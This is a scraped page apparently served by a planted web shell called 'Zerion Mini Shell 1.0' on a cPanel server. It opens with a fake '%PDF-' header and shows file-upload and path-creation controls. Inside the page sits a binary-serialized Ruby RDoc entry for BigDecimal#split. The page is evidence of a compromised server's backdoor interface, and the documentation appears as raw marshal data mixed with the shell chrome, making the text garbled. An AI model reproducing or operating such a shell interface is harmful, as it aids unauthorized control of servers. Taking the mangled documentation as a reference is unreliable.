%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/BigDecimal/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/BigDecimal/split-i.ri

U:RDoc::AnyMethod[iI"
split:ETI"BigDecimal#split;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I"PSplits a BigDecimal number into four parts, returned as an array of values.;To:RDoc::Markup::BlankLineo;
;	[I"QThe first value represents the sign of the BigDecimal, and is -1 or 1, or 0 ;TI"'if the BigDecimal is Not a Number.;T@o;
;	[I"MThe second value is a string representing the significant digits of the ;TI"'BigDecimal, with no leading zeros.;T@o;
;	[I"QThe third value is the base used for arithmetic (currently always 10) as an ;TI"
Integer.;T@o;
;	[I"-The fourth value is an Integer exponent.;T@o;
;	[I"PIf the BigDecimal can be represented as 0.xxxxxx*10**n, then xxxxxx is the ;TI"Ostring of significant digits with no leading zeros, and n is the exponent.;T@o;
;	[I"MFrom these values, you can translate a BigDecimal to a float as follows:;T@o:RDoc::Markup::Verbatim;	[I"8sign, significant_digits, base, exponent = a.split
;TI"Df = sign * "0.#{significant_digits}".to_f * (base ** exponent)
;T:@format0o;
;	[I"R(Note that the to_f method is provided as a more convenient way to translate ;TI"a BigDecimal to a Float.);T:
@fileI" ext/bigdecimal/bigdecimal.c;T:0@omit_headings_from_table_of_contents_below000[I"();T@-FI"BigDecimal;TcRDoc::NormalClass00

Zerion Mini Shell 1.0